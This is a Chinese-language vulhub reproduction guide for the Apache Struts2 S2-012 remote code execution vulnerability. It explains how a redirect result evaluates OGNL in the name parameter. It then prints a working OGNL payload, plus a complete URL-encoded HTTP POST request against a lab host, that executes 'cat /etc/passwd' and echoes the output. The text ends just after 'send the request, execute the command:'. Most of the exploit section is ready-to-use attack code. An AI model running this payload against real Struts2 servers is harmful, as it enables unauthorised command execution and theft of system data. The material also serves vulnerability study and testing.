vulhub中Struts2-012 远程代码执行漏洞复现

影响版本: 2.1.0 - 2.3.13

## 原理

如果在配置 Action 中 Result 时使用了重定向类型，并且还使用 ${param_name} 作为重定向变量，例如：

```xml
<package name="S2-012" extends="struts-default">
    <action name="user" class="com.demo.action.UserAction">
        <result name="redirect" type="redirect">/index.jsp?name=${name}</result>
        <result name="input">/index.jsp</result>
        <result name="success">/index.jsp</result>
    </action>
</package>
```

这里 UserAction 中定义有一个 name 变量，当触发 redirect 类型返回时，Struts2 获取使用 ${name} 获取其值，在这个过程中会对 name 参数的值执行 OGNL 表达式解析，从而可以插入任意 OGNL 表达式导致命令执行。

## Exp

可以直接祭出s2-001中的回显POC，因为这里是没有沙盒，也没有限制任何特殊字符（为什么？）。

```
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
```

POST /user.action HTTP/1.1
Host: 192.168.188.139:8080
Content-Length: 577
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.188.139:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.188.139:8080/index.jsp?name=ll
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=823DADB22D7296EA5F0BC44919CA67BC
Connection: close

name=%25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22cat%22%2C+%22%2Fetc%2Fpasswd%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D

发送请求，执行命令：